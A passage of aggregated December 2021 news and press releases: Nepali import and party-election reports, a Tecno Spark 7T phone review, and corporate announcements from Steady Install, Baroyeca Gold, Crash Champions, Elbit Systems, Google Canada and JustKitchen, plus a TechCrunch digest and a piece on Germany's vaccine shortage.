the basic necessities. Anyway, it is exciting to see how the new Honda Hornet 2.0 will fare in the market. Kathmandu, December 15 Nepal has been importing agricultural yields worth Rs 200 billion a year on average, informs a recent government report. According to a report published by the National Planning Commission, the apex development planning body of the country, the agricultural produce imports are rising along with an increase in Nepalis purchasing power on average. In recent years, rice has been one of the 10 products that the country spends the highest amount to import whereas maize is on the list of the top 20 products, according to the report. Other biggest imported items include potatoes, peas, wheat, and onions. The report was prepared based on the import data from the fiscal year 2015/16 to 2019/20. The report has suggested various initiativescategorised into policy-based, institutional, and strategicfor control of the imports of agricultural yields. Kathmandu, December 14 Sher Bahadur Deuba and Shekhar Koirala will contest a run-off for the presidency of the running Nepali Congress party. The run-off will be held today as none of the five contenders of the positions secured 50 per cent of the cast votes during the election on Monday. Here is the final tally as announced by the election committee*: Total votes cast: 4,679 Invalid: 76 Sher Bahadur Deuba: 2,258 Shekhar Koirala: 1,702 Prakash Man Singh: 371 Bimalendra Nidhi: 250 Kalyan Gurung: 22 Now, the final result will depend on Prakash Man Singh and Bimalendra Nidhi, the next two contenders of the election. Reports say Deuba has sent Bal Krishna Khand to woo Singh onto his side. The voting is likely to begin early afternoon today whereas the results are expected by the late evening. Meanwhile, the Nepali Congress election committee will count votes for other positions after completing the presidential poll. *Corrected Tecno Spark 7T is a budget smartphone released from the smartphone company Tecno. Mahalaxmi Mobiles, the authorised distributor of Tecno Mobiles in Nepal has released this budget phone in Nepal recently. Tecno also recently launched a mid-range phone Camon 17P and also has a premium phone named Phantom X. Tecno is gradually releasing smartphones in the Nepali market and will continue to do so in the coming days as well. Not long ago, companies like Vivo, Samsung, Realme and Xiaomi have also launched budget smartphones here and it will be interesting to see which phone will perform well in the market. In this sense, Tecno Spark 7T has a daunting task ahead, but lets know about the details of the phone for now. Specifications Dimension Height: 164.8mm Width: 76.1mm Thickness: 9.5mm Display 6.52-inch IPS LCD 570 nits Screen-to-body ratio 81.8% Sim Dual sims Resolution 720*1,600 pixels OS Android 11, HIOS 7.6 Chipset Mediatek Helio G35 (12nm) GPU PowerVR GE8320 Storage 64GB Card Slot Yes RAM 4GB Camera Rear: 48MP, AF Secondary AI camera Quad-LED flash Front: 8MP, dual-LED flash Sound Loudspeakers and 3.5mm headphone jack Colours Nebula orange, magnet black, and jewel blue Battery 6000mAh, Li-Po Sensors Rear-mounted fingerprint, proximity, accelerometer Connectivity Wi-Fi 2.4/5GHz Bluetooth, MicroUSB 2.0, GPS supported, FM radio enabled Design and display Photo: Tecno Mobiles Tecno Spark 7T has a glass front, a plastic back and a plastic frame. It has a glossy back and is susceptible to fingerprints. The sparkling glossy back houses the camera module on which the LED flashlight is also housed together. Just beside the camera module is the fingerprint sensor. At the front, it has a dot notch that houses a selfie camera. With a width of 76.1mm, the phone is 9.5mm thick. Photo: Mahalaxmi Mobiles There is a 6.52-inch IPS LCD display on the phone that has a maximum resolution of 720*1,600 pixels. The screen-to-body ratio of the phone is 81.8%, meaning it has more bezels on the screen than its competitors on the market. Camera Photo: Tecno Mobiles Tecno Spark 7T houses a 48MP dual camera on the back with quad-LED flash. The company claims the newly added AI lens on the back brightens the overall dark environment and helps to capture the pictures quickly. The rear cameras are accompanied by the quad-LED flash. At the front, there is a single 8MP selfie camera which is accompanied by a dual-LED flash. Both cameras on the front and rear can record videos in 1080p at 30fps. Performance and battery life Photo: Mahalaxmi Mobiles Tecno Spark 7T runs on HIOS 7.6 based on Android 11. The phone is powered by a MediaTek Helio G35 (12nm). It also has an Octa-Core CPU and the graphics are handled by PowerVR GE8320. Photo: Tecno Mobiles Giving the power to the phone is a mammoth 6,000 mAh Li-Po non-removable battery. This power should be enough to have a standby time for up to 30 days. The battery backup can be great for YouTube streaming, watching your favourite movies, and gaming as it should provide a substantial amount of power without worrying about charging. Storage, connectivity and other features Tecno Spark 7T only has a single variant at the moment. The 4GB RAM variant comes with 64GB of internal storage. The memory of the phone can be expanded with a MicroSD card by up to 264GB. The phone has a dual-sim setup and also supports Wi-FI 802.11 b/g/n. There is also Bluetooth connectivity, FM Radio and micro USB 2.0 for further connectivity. For audio, it has both loudspeaker and a 3.5mm headphone jack. Tecno Spark 7T also has plenty of features for the users. It has a Bluetooth Audio Share 2.0 for instantly sharing your audio and the Inervation app to create movies out of your photo. There is also an inbuilt voice changer app on the phone that you can use for fun. For security, there is a peek proof mode on the mode that will prevent people from peeking on your phones display when you are using it. The phone also offers a customised app lock feature, with which you can lock any app of your choice. The phone also includes a child mode to limit their use of content. The price of Tecno Spark 7T is Rs 16,490. Given this price range, Tecno Spark 7T competes with smartphones from Samsung and Xiaomi. Budget smartphones like Realme Narzo 50i, Vivo Y1s, Poco C3, Redmi 9c and Samsungs Galaxy M01s are already in the market competing in this price category. Steady Install explains major benefits of outsourcing staffing on furniture installation projects PHOENIX, Dec. 14, 2021 /PRNewswire/ -- Steady Install , a unique staffing platform that connects independently contracted installers and movers with commercial and office furniture projects, understands the importance of adequately staffing a project in today's work environment. With a shortage of skilled laborers in the traditional workforce, outsourcing staffing efforts provides numerous benefits for companies looking for quality candidates for their installation projects. Steady Install provided five reasons to outsource skilled labor in 2022. "Finding top-notch workers in the furniture installation industry can be difficult because the applicant pool is broad but limited," said Ben Bottner, co-founder and CEO of Steady Install. "At Steady Install, we utilize our platform to connect furniture installation companies with contracted workers that are dependable and equipped to handle the project. The new workforce environment, especially after the pandemic, is volatile. Keeping internal payroll low and flexing up on an as needed basis is crucial for labor-intensive service businesses to be profitable. Traditional channels for staffing projects are no longer sufficient in today's non-traditional era, and our technology helps companies put together the best team for each project." There are various benefits for outsourcing staffing needs to companies that understand the necessities of a project while understanding what is driving today's skilled workforce. Bottner and the Steady Install team offer these reasons to consider outsourcing as an option for your furniture installation project. Ability to hire candidates faster: If your furniture installation project needs to be completed quickly, there simply isn't time to source installers yourself and complete the necessary vetting that must be done prior to any employment decisions. Utilizing a staffing platform expedites the process by removing the slew of emails, texts, or calls normally associated with a traditional staffing agency. Improved workforce flexibility: Running an efficient furniture installation company can be difficult. Demand for services can change with the day, both in terms of the volume of work and level of experience required. When companies outsource staffing, they are hiring contracted workers, which allows them to increase and decrease staff depending on the workload without long-term financial commitment. The quality of the worker is increased: When completing a furniture installation project, the quality of work is paramount. When opting to outsource, companies are accessing a better avenue to gain quality workers. Today's technology allows workers to be vetted and placed in the proper category to ensure success for the project and team as a whole. Staffing platforms allow the workers to accept the projects they want to work on, which translates into increased morale and motivation on-site and an overall better product. Creates opportunity for permanent employment: Building on the idea of quality candidates, if the independent contractor and installation company are a perfect fit, the company can hire the worker full-time. This not only creates a great partnership, but it also reduces the risk of the installation company hiring the wrong person for the job. Some staffing platforms, like Steady Install, now wave all placement fees and minimum required hours prior to offering employment. Lowering Labor Costs: Hiring employees is expensive and making the wrong hire can make that cost go up even more. The reality of the installation industry is that every project is different, and the right crew for one project is not necessarily the right fit for another. A good staffing platform can allow you to customize the crew for each project based on location, required items, and experience needed to ensure you're not overpaying for a less technical project and receiving the experience level required for a more technical project. Story continues "Outsourcing staffing efforts is a win-win for the installation company and the independent contractors," Bottner said. "For companies in search of skilled labor workers, inefficiency, cost and experience problems can be solved through outsourcing. The candidates are dependable and want to find work. For workers, they can expect to earn higher wages and have the freedom to pick which projects they work on. "At Steady Install, we are a one-stop shop for companies looking for quality workers by using our specialized platform to connect independent contractors with commercial and office furniture installation projects. Outsourcing staffing, when done correctly, creates more efficiency and happier workers while producing better quality of work." For more information about Steady Install, visit https://www.steadyinstall.com/ . About Steady Install Launched in 2019, Steady Install is a specialized platform created to connect skilled workers with furniture installation projects. Using innovative software, Steady Install provides an all-in-one shop to post projects and find quality installers. Steady Install helps to keep projects moving forward at lower costs with professional, motivated, skilled on-demand workers who get to work on the projects they want for the pay they deserve. For more information, visit https://www.steadyinstall.com/ . MEDIA CONTACT: Heather Ripley Ripley PR (865) 977-1973 hripley@ripleypr.com Cision View original content to download multimedia:https://www.prnewswire.com/news-releases/5-reasons-to-outsource-skilled-labor-in-2022-301443741.html SOURCE Steady Install Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - BAROYECA GOLD & SILVER INC. (TSXV: BGS) (the "Company") is pleased to announce it signed a Letter of Intent to acquire 200 hectares to the south of and contiguous to its Santa Barbara gold project in Bolivar, Colombia (See Fig. 1) bringing the total of the project to 310ha (the "Transaction"). The subject property includes a past-producing artisanal gold mine. Raul Sanabria, President of Baroyeca says: "The acquisition of this additional ground secures the southwestern extension along strike of the already identified vein sets and increases an extra 60% our land position in the area to an approximately 2,100m by 1,800m block. The new area includes a past-producing gold mine that is known for recovering high-grade gold from near surface, from a parallel vein similar to the one Baroyeca is currently developing as an exploratory tunnel, and is less than 150m from our Pilot Processing Plant." Under the LOI, in exchange for the Vendor transferring the approx. 200ha (NE quadrant of the 0-439 mining title) upon closing of the Transaction, Baroyeca agrees to pay to the Vendors a total of USD$250,000 in cash over three payments and to issue to the Vendor USD$250,000 worth of shares in the capital of Baroyeca in three tranches with the number of shares to be determined using the average closing price for the five trading days prior to each issuance date. Payments will be based on satisfaction of the following steps by, or on behalf, of the Vendor: 1. Filing the title transfer with the Colombian Mining Agency (the "ANM") in the name of Baroyeca's Colombia subsidiary company on signing of the definitive agreement; 2.The ANM issuing the Official Resolution approving the transfer of the mining rights to Baroyeca's Colombia subsidiary company; and 3. Registering the mining title in the name of Baroyeca's Colombia subsidiary company in the Colombian Mining Registry. Story continues The LOI is non-binding and provides an exclusivity period until February 8, 2022 for the parties to negotiate a definitive agreement. The Transaction is subject to acceptance for filing by the TSX Venture Exchange. During the period of the processing of title transfer, the Company will be allowed to operate the project by means of an autonomous exclusive operation contract. The projected southwest extension of some of the Santa Barbera veins continues onto the 0-439C2 property. Evidence consists of a series of pits and trenches made by artisanal miners in the past, which were recently mapped and georeferenced by Baroyeca's geologists. The 0-439C2 property is host to the abandoned Mariana mine which was previously sampled by a Qualified Person in 2013-2014. Results of the historical sampling are included in the company's NI43-101 report on the Santa Barbara project under the section "Adjacent Properties" and are in line with the Santa Barbara vein style of mineralization, grades and strike direction. Fig. 1. Location Map of the Santa Barbara project and 0-439-C2 property. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/7881/107668_e8dee29434f67a22_001full.jpg About Baroyeca Gold & Silver Inc. Baroyeca Gold & Silver Inc. is a mineral exploration company focused on high-grade silver and gold projects located in Colombia. Baroyeca's flagship asset is the high-grade Atocha Silver-Gold Project located in Tolima Department, Colombia. The Company also holds an option to acquire a 100% interest in the Santa Barbara Property, Bolivar Department, Colombia, which is renowned for its high-grade gold mineralization and vein density. Current exploration activities on the Santa Barbara Property involve the bulk sampling of vein structures, which material then feeds into a trial production facility which has consistently been producing gold for over a year. The revenue from the sale of produced gold defrays part of the operating costs. The Company is planning to expand these activities. The Company's Board and senior management are committed to creating shareholder value through the discovery process, careful allocation of capital, and environmentally and socially responsible mineral exploration. Qualified Person Raul Sanabria, M.Sc., P.Geo., President of Baroyeca Gold & Silver Inc. and a qualified person ("QP") as defined by Canadian National Instrument 43-101, has reviewed and approved the technical information contained in this release. BAROYECA GOLD & SILVER INC. Per: "Raul Sanabria" Raul Sanabria, President FOR INFORMATION CONTACT: Rick Wilson - (604) 351-3599 Neither the TSX Venture Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or the accuracy of this release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107668 Leading collision repair provider closes five acquisitions covering 12 locations across the Sunshine State CHICAGO, Dec. 15, 2021 /PRNewswire/ -- Crash Champions, LLC ("Crash Champions" or "Crash" or the "Company"), one of the nation's fastest growing independent collision repair companies, announced today the closing of five acquisitions across Florida, adding 12 new locations to the Company's growing footprint in the state. With these acquisitions, Crash now operates 27 Florida shops. The Company first entered the key growth market of Florida earlier this year and continues to execute on its mission to be a premier collision repair brand in the Sunshine State. The Company's new acquisitions include: Basset Group in Clearwater (2), Sunrise (1), Tampa (1), St. Petersburg (1), and West Palm Beach (1); Lee's Car Care in Fort Lauderdale (1); Dattilo's Collision Center in Pinellas Park (1); Collision Giant in Clearwater (1), New Port Richey (1), and Wesley Chapel (1); and Custom Color in Port St. Lucie (1). "These new shops and their operators fit perfectly into our growth strategy in the state, as well as our overall corporate culture and operational ethos," said Matt Ebert, Crash Champions' founder and CEO. "Florida represents a massive opportunity for the Company. Its population is one of the largest in the country and its residents are heavily reliant on automotive transportation, even in its busiest cities. As is the case with every market in which we operate, our approach to expansion in Florida has centered around identifying the right partners in the right locations." "These new acquisitions are reflective of everything we look for in prospective partners, with each organization sharing our deep-rooted commitment to delivering high-quality repairs and first-class service. Further, these locations strategically extend the Crash Champions name and brand into key territories within Florida, providing us an even stronger foothold within the state. We could not be more excited to welcome these five exceptional companies and their outstanding team members into the Crash Family." Story continues Next to California, Florida is now the largest market for Crash Champions in the country. For more information about Crash Champions, visit crashchampions.com/ and watch our video here. For those collision repair companies interested in selling their business, Crash has made it easy. Please visit crashchampions.com/sell-your-shop to learn more. About Crash Champions Crash Champions is a leading independent collision repair company operating more than 160 state-of-the-art centers across 17 states including: California, Colorado, Florida, Idaho, Illinois, Iowa, Kansas, Maryland, Missouri, Montana, Nebraska, New Jersey, North Carolina, Pennsylvania, Ohio, Washington, Wisconsin and Washington, DC. Founded in 1999 as a single shop outside Chicago by industry veteran and entrepreneur Matt Ebert, today Crash Champions is a top national brand and one of the fastest growing collision repair companies in America. For more information, visit www.crashchampions.com. Contact Gaffney Bennett PR Crash@gbpr.com Cision View original content to download multimedia:https://www.prnewswire.com/news-releases/crash-champions-continues-aggressive-expansion-in-florida-301445491.html SOURCE Crash Champions To get a roundup of TechCrunchs biggest and most important stories delivered to your inbox every day at 3 p.m. PST, subscribe here. Hello and welcome to Daily Crunch for Tuesday, December 14! Our Space event is underway and kicking maximum Q thus far, I am happy to report. In other TechCrunch news, I just hit my two-year mark being back at the blog. Time flies! Thanks to everyone for reading my rambling so that I can stay aboard the good ship TechCrunch. Now, the news! Alex The TechCrunch Top 3 Apples Siri-only music plan launches: I had forgotten all about Apples cheaper, more limited music plan announced earlier this year. But its not only real, its here. So, if you are big into Apple speaker tech and want to save a few bucks, heres a music streaming option for you. Notably, part of the innovation is a lower price, which, frankly, given streaming economics, is not the direction I want to see music services go. This may be peak SPAC: To cap 2021s more silly stories off with a cherry, a metaverse-themed company with around $1 million in revenue is going public via a SPAC. Naturally, it has big expectations for future revenue growth. The company is betting that public-market investors are sufficiently smitten with all things metaverse to bid up its equity. Lets see. Big Cartel unionizes: In the wake of news that Amazon workers died in their facility after a tornado hit it, you might be curious about the progress of unionization among workers for tech companies. Slowly, is the answer to that. But startups are taking the lead again, with Big Cartel choosing to voluntarily recognize its employee union. Confused? Yes, leadership has been scarce in this area from the corporate perspective. Startups/VC Kicking off today, heres a guide from our own Sarah Perez concerning what gifts to buy if you are looking to cut your, or your loved ones, screen time. I need this. Story continues Finally, as we segue into todays TechCrunch+ feature story, our own Ron Miller is not as convinced as some about the web3 hype. Others are more excited: 7 investors discuss web3s present and peer into its future Young asian woman with virtual reality simulator while standing in living room and wood material wall background Image Credits: Poca Wander (opens in a new window) / Getty Images Were years away from web3 capturing major market share, and there are valid concerns that its complexity will daunt consumers and regulators. However, our research indicated that the investment landscape is growing increasingly competitive as venture capitalists become more educated and less skeptical. To get a clearer sense of where the market is, we reached out to several active investors to find out where web3 stands and what the future holds: Lior Messika, founder and managing partner, Eden Block Atul Ajoy, partner, Horseshoe Capital David Chreng-Messembourg, founding partner, LeadBlock Partners Randy Glein, founder/partner, and Sam Shapiro, principal, DFJ Growth Mercedes Bent, partner, Lightspeed Venture Partners Jai Das, co-founder, president and partner, Sapphire Ventures (TechCrunch+ is our membership program, which helps founders and startup teams get ahead. You can sign up here.) Big Tech Inc. Coinbase adds image viewing feature: If you use Coinbase Wallet on desktop, you can now check out your NFTs. Wed normally make some jokes here about the tech required to view images on computers, but we dont want to get into a Twitter war with Bored Ape fans. Snap paid out a quarter billion this year to support its TikTok clone: Snaps Snapchat service is an interesting social product to watch. It has never given up on its slight angle on the social world, and its parent company has not been shy in using its capital resources the company raised debt some years ago to keep the platform well stocked. Today the company announced that it has paid creators $250 million to make content for Spotlight, which is similar to TikTok. Cash App now lets users gift stock, crypto: The ability to gift crypto is not new per se, but to see Cash App roll out the capability could allow for more mass-market crypto gifting. Recall that Cash App is no longer owned by Square, its owned by Block, its newly rebranded parent company. The UK is looking to shake up Google, Apple: The war between third-party developers and the major mobile app store companies continues around the world, with news out today that the U.K.s antitrust watchdog has given the clearest signal yet that interventions under an upcoming reform of the countrys competition rules will target Apple (iOS) and Google (Android). A self-driving setback: Daily Crunch has made much mention of self-driving milestones this year, covering new commercial partnerships and tentative in-market movements. But there was some negative progress today, namely that Chinese autonomous driving startup Pony.ai has had its California test permit revoked following a crash. Netflix cuts prices in India: Weve noted in this missive that Netflix is getting into the games business. Why? Because there are only so many people with enough money and internet access out there for Netflix to sell streaming services to. Evidence of the company starting to bump up against its natural market size is that the American streaming service is cutting prices in India. As our own Manish Singh notes, this is not the first time that the company has tinkered with its pricing in the country. TechCrunch Experts dc experts Image Credits: SEAN GLADWELL / Getty Images TechCrunch wants to know which software consultants youve worked with for anything from UI/UX to cloud architecture. Let us know here. If you're curious about how these surveys are shaping our coverage, check out this interview by Anna Heim: From Ph.D. to boutique software developer: An interview with Solweys Andrew Drach. HAIFA, Israel, Dec. 15, 2021 /PRNewswire/ -- Elbit Systems Ltd. (NASDAQ: ESLT) (TASE: ESLT) (the "Company") announced today that at its Annual General Meeting of Shareholders held on December 14, 2021 at the Company's offices in Haifa, the proposed resolutions described in the Proxy Statement to the Shareholders dated November 4, 2021 and detailed hereunder were approved by the respective required majority: "To re-elect to the Board the following seven members who are not "External Directors" as defined in the Israeli Companies Law 5759-1999, to serve until the close of the next Annual General Meeting of Shareholders: Mr. Michael Federmann, Mrs. Rina Baum, Mr. Yoram Ben-Zeev, Mr. David Federmann, Mr. Dov Ninveh, Prof. Ehood (Udi) Nisan and Prof. Yuli Tamir; and To re-appoint Kost, Forer, Gabbay & Kasierer, a member of Ernst & Young Global, as the Company's independent auditor for the fiscal year ending December 31, 2021, and until the close of the next Annual General Meeting of Shareholders." About Elbit Systems Elbit Systems Ltd. is an international high technology company engaged in a wide range of defense, homeland security and commercial programs throughout the world. The Company, which includes Elbit Systems and its subsidiaries, operates in the areas of aerospace, land and naval systems, command, control, communications, computers, intelligence surveillance and reconnaissance ("C4ISR"), unmanned aircraft systems, advanced electro-optics, electro-optic space systems, EW suites, signal intelligence systems, data links and communications systems, radios, cyber-based systems and munitions. The Company also focuses on the upgrading of existing platforms, developing new technologies for defense, homeland security and commercial applications and providing a range of support services, including training and simulation systems. For additional information, visit: https://elbitsystems.com/, follow us on Twitter or visit our official Facebook, Youtube and LinkedIn Channels. Story continues Company Contact : Joseph Gaspar, Executive VP & CFO Tel: +972-4-8316663 j.gaspar@elbitsystems.com Rami Myerson, Director, Investor Relations Tel: +972-77-2948984 rami.myerson@elbitsystems.com David Vaaknin, VP, Head of Corporate Communications Tel: +972-77-2946691 david.vaaknin@elbitsystems.com IR Contact : Ehud Helft Kenny Green GK Investor Relations Tel: 1-646-201-9246 elbitsystems@gkir.com This press release may contain forwardlooking statements (within the meaning of Section 27A of the Securities Act of 1933, as amended, Section 21E of the Securities Exchange Act of 1934, as amended and the Israeli Securities Law, 1968) regarding Elbit Systems Ltd. and/or its subsidiaries (collectively the Company), to the extent such statements do not relate to historical or current facts. Forward-looking statements are based on management's current expectations, estimates, projections and assumptions about future events. Forwardlooking statements are made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995, as amended. These statements are not guarantees of future performance and involve certain risks, uncertainties and assumptions about the Company, which are difficult to predict, including projections of the Company's future financial results, its anticipated growth strategies and anticipated trends in its business. Therefore, actual future results, performance and trends may differ materially from these forwardlooking statements due to a variety of factors, including, without limitation: scope and length of customer contracts; governmental regulations and approvals; changes in governmental budgeting priorities; general market, political and economic conditions in the countries in which the Company operates or sells, including Israel and the United States among others; changes in global health and macro-economic conditions; differences in anticipated and actual program performance, including the ability to perform under long-term fixed-price contracts; changes in the competitive environment; and the outcome of legal and/or regulatory proceedings. The factors listed above are not all-inclusive, and further information is contained in Elbit Systems Ltd.'s latest annual report on Form 20-F, which is on file with the U.S. Securities and Exchange Commission. All forwardlooking statements speak only as of the date of this release. Although the Company believes the expectations reflected in the forward-looking statements contained herein are reasonable, it cannot guarantee future results, level of activity, performance or achievements. Moreover, neither the Company nor any other person assumes responsibility for the accuracy and completeness of any of these forward-looking statements. The Company does not undertake to update its forward-looking statements. Elbit Systems Ltd., its logo, brand, product, service and process names appearing in this Press Release are the trademarks or service marks of Elbit Systems Ltd. or its affiliated companies. All other brand, product, service and process names appearing are the trademarks of their respective holders. Reference to or use of a product, service or process other than those of Elbit Systems Ltd. does not imply recommendation, approval, affiliation or sponsorship of that product, service or process by Elbit Systems Ltd. Nothing contained herein shall be construed as conferring by implication, estoppel or otherwise any license or right under any patent, copyright, trademark or other intellectual property right of Elbit Systems Ltd. or any third party, except as expressly granted herein. Cision View original content:https://www.prnewswire.com/news-releases/elbit-systems-announces-the-results-of-its-annual-general-meeting-of-shareholders-held-on-december-14-2021-301445027.html SOURCE Elbit Systems Ltd Germany is running out of COVID-19 vaccineseven before Omicron can begin to wreak havoc. Angela Merkel's successor, Olaf Scholz, reaffirmed on Wednesday his goal as the new chancellor of administering 30 million jabswhether as first, second, or booster dosesby the end of this year. Yet the push to defeat Delta could leave the country out of stock just as the new, highly contagious Omicron strain threatens to spread like wildfire. After assuming responsibility last week for the countrys effort to defeat the virus, Federal Health Minister Karl Lauterbach took inventory of Germany's supply, only to discover it faces a shortage for the first quarter of 2022. Its true that we have too few doses, he told German public broadcaster ARD on Tuesday evening. That surprised many of us following the audit, myself included. Perhaps the most controversial figure in the new cabinet because of his reputation as a loose cannon, Lauterbach said he was exploring all legal options at his disposal to acquire more doses within the limits of coordinated EU-wide vaccine procurement policies. EU summit On Thursday, leaders from the 27 EU member states are expected to debate the COVID situation and the threat presented by Omicron at a regular summit meeting of the European Council in Brussels. "We will also address global cooperation, including how we can step up our efforts and remove bottlenecks in the sharing and administration of vaccines," EU Council President Charles Michel wrote on Tuesday in his invitation letter to the heads of government. Lauterbach's discovery of Germany's shortage is not the first warning sign related to Germany's supply, however. His predecessor Jens Spahn came under heavy fire after he said last month the government would begin rationing supply of the domestically popular BioNTech vaccine Comirnaty, developed in Germany and licensed for sale in most of the world by partner Pfizer. Story continues Instead, more people would have to accept Spikevax from U.S.-based Moderna, according to the former health minister. Not only was Spahn criticized for seeming to discourage Germans from being inoculated, it emerged that supplies of the U.S. alternative mRNA vaccine were nearing their expiration date and would have to be otherwise destroyed. Radical measures On Wednesday, Chancellor Scholz tried to strike a confident note, telling Germanys lower house of parliament his year-end goal remained within reach, with 19 million doses, or nearly two-thirds, already administered to date. The federal government will not rest for a single solitary moment; rather we will continue to pull every possible lever at our disposal until each of us has fully returned to our previous lives and we have regained all our freedoms, he said during his governments first policy address to the Bundestag. In the coming weeks, the lower house is expected to hold an open vote over a vaccine mandate that could go into effect as early as February. The impending first-quarter 2022 shortage ironically comes only weeks after reports emerged in the summer that the country, among the least vaccinated in Western Europe, had ordered too many doses. At the time, few people expected the fourth wave to be Germanys worst, and Omicron had not yet been discovered. The surplus doses were meant to be donated to international body COVAX for distribution to developing countries, but that had been hampered by contractual obligations. Manufacturers like BioNTech must give final approval, a measure introduced to minimize their liability. The waning supplies now threaten to derail Germanys COVID efforts, however, since boosters are expected to be a key tool in defusing the Delta surge before Omicron can potentially overwhelm health authorities. In the U.K., new estimates suggest the country should surpass South Africa as the epicenter of the highly contagious Omicron variant, if indeed it has not already. When asked whether more restrictions could be imposed in the coming days, Lauterbach reaffirmed his pledge that the ministry under his leadership would rely more heavily on scientific advice when formulating policy. If the expert opinion should be a recommendation to implement radical measures, he told ARD, then we would certainly consider that. This story was originally featured on Fortune.com Support includes a Google.org grant to ComIT's Recoding Futures IT program, funding towards Indspire's job training programs and Google Career Certificate scholarships for Indigenous learners Google Canada (CNW Group/Google Canada) TORONTO, Dec. 15, 2021 /CNW/ - Today, Google Canada announced a $600,000 commitment to provide free digital skills training to Indigenous job seekers across Canada. The support includes a $500,000 Google.org grant towards ComIT's Recoding Futures IT training program, an additional $100,000 in funding to support Indspire with their education and job training programs and an allocation of Google Career Certificate scholarships for Indigenous job seekers. Today's support is in addition to Google Canada's $2 million commitment to reskill job seekers for new careers in technology in under six months, announced earlier this year. Research shows there's a significant skills and education gap between Indigenous and non-Indigenous populations in Canada, particularly when it comes to connectivity, graduation rates and digital literacy. The economic impact of the pandemic has increased this divide, disproportionately impacting the employment rates of Indigenous populations. As Canada rebuilds its economy post COVID-19, Google Canada, ComIT and Indspire will work toward a common goal of bridging this longstanding gap, increase free access to digital skills education, and support economic growth within Indigenous communities. "The social and economic hardships felt by many during this pandemic have brought some heavy truths to the surface and we now have an opportunity to build back a more inclusive and resilient economy," says Sabrina Geremia, VP & Country Manager, Google Canada. "We're proud to support ComIT and Indspire to deepen our commitment in digital skills training in high demand fields, create opportunities for Indigenous job seekers entering the tech workforce and increase Indigenous representation in our technology workforce." Story continues ComIT's Recoding Futures program was created last year with the support of Google.org to provide IT training to Indigenous learners across Canada. The program runs virtually and covers topics like Design Thinking, HTML, CSS, Javascript .NET, Python, React and Node. To help complete the transition from learning to employment, ComIT offers courses on resume building, interview skills training, and other soft skill development opportunities to help with the transition from learning to employment. "We're excited by the renewed support from Google.org to bring free digital skills training to Indigenous students across Canada," said Pablo Listingart, Executive Director, ComIT. "In the first year of the Recoding Futures program, we saw overwhelming interest, with over 800 applicants, double than what we expected. We look forward to expanding this program in 2022 and accommodating as many applicants as possible." Google Canada is also committing $100,000 to Indspire to support their existing job training programs, along with an allocation of dedicated Google Career Certificate scholarships for Indigenous job seekers. The scholarships can be used towards Google Career Certificate courses, which are delivered through NPower Canada and equips learners with theoretical and practical knowledge to be successful in an entry-level technology job. "Indspire is pleased to continue and expand this important initiative with support from Google Canada, and in partnership with NPower Canada and ComIT," said Mike DeGagne, President & CEO of Indspire. "The first year of the program demonstrated that Indigenous youth are keen to pursue this kind of training. Not only will it benefit them on an individual level, it will also ensure that their communities as a whole will benefit from their newfound knowledge, ensuring that Indigenous communities across the country will be better able to participate in the digital skills-based economy." "In 2021, we enrolled 886 young adults into Google's IT Support Certificate scholarship program, allowing them to obtain the skills necessary to start their careers and participate in Canada's digital economy," said Julia Blackburn, CEO, NPower Canada. "As we look ahead to 2022 and beyond, this additional support from Google and partnership with Indspire reaffirms NPower Canada's commitment to inclusion and increased representation of Indigenous peoples in the tech workforce across Canada." Applications are now open for ComIT's Recoding Futures program. Interested applicants can visit ComIT.org to register. For more information on the Google Career Certificates visit g.co/certificates-canada . To find out more on scholarships available, visit Indspire's website . About ComIT ComIT is a registered charity that provides free training and professional development opportunities in information technology. Their courses are taught by IT professionals working at leading companies, with a curated curriculum built to ensure graduates are equipped to meet the needs of the immediate labor market. ComIT believes that the democratization of education and opportunity is Canada's path forward. About Indspire Indspire is an Indigenous national charity that invests in the education of First Nations, Inuit and Metis people for the long-term benefit of these individuals, their families and communities, and Canada. With the support of its funding partners, Indspire provides financial awards, delivers programs and shares resources so that First Nations, Inuit, and Metis students will achieve their highest potential. In 2020-2021, Indspire provided more than $20 million through 6,245 bursaries, scholarships, and awards to First Nations, Inuit, and Metis students across Canada. About NPower Canada: NPower Canada is a charitable organization that launches underserved young adults, including people with disabilities, BIPOC and LGBTQ2S+ youth, into meaningful & sustainable careers in technology. Through its free in-demand digital and professional skills training programs, NPower Canada connects young adults to employers who are looking for junior IT/tech talent. NPower Canada has grown from enrolling 87 learners in 2015 to 1,700 in 2021, scaling within the GTA and expanding nationally to Calgary in 2019 and Halifax and Vancouver in 2021. To date, more than 80% of NPower Canada's 2910 alumni have secured in-demand tech jobs such as Help Desk Analyst, QA Specialist and Information Security Analyst with industry leaders such as Accenture, CGI, CIBC, Cisco, Deloitte, IBM, RBC, Softchoice, TD and TELUS. About Google Canada Google's mission is to organize the world's information and make it universally accessible and useful. As a global technology leader, Google's innovations in web search and advertising have made its website a top internet property and its brand one of the most recognized in the world. Google Canada has offices in Waterloo, Toronto, Montreal, and Ottawa with over 2,000 Canadian Google employees working on teams across Engineering, AI Research, Sales and Marketing. About Google.org Google's philanthropy, brings the best of Google to help solve some of humanity's biggest challenges combining funding, innovation, and technical expertise to support underserved communities and provide opportunity for everyone. We engage nonprofits and social enterprises who make a significant impact on the communities they represent, and whose work has the potential to produce meaningful change. We want a better world, faster and we believe in leveraging technology and applying scalable data-driven innovation to move the needle. SOURCE Google Canada Cision View original content to download multimedia: http://www.newswire.ca/en/releases/archive/December2021/15/c2533.html The Licensing Agreement with REEF Technology Gives the Company the Virtual Rights to One of the Most Popular Delivery-Only Food Brands for its Growing Network of Delivery Kitchens in Multiple Markets TSXV: JK OTCQB: JKHCF FRA: 68Z VANCOUVER, BC, Dec. 15, 2021 /CNW/ - Just Kitchen Holdings Corp. ("JustKitchen" or the "Company") (TSXV: JK) (OTCQB: JKHCF) (FRA: 68Z), an operator of delivery kitchens specializing in the development of delivery-only food brands, is pleased to announce that it has entered into a licensing agreement with the largest operator of delivery kitchens, logistics, and proximity hubs in North America, REEF Technology Inc., for the virtual branding rights to DJ Khaled's "Another Wing" brand. JustKitchen has been selected by REEF as its preferred partner for the launch of the Another Wing brand in South-East Asia. The brand will be rolled out in multiple phases beginning with 16 of JustKitchen's delivery kitchen locations in Taiwan in December, followed by its two locations in Hong Kong in January. Just Kitchen Holdings Corp. Logo (CNW Group/Just Kitchen Holdings Corp.) "We are very excited for JustKitchen to be the first company to introduce not 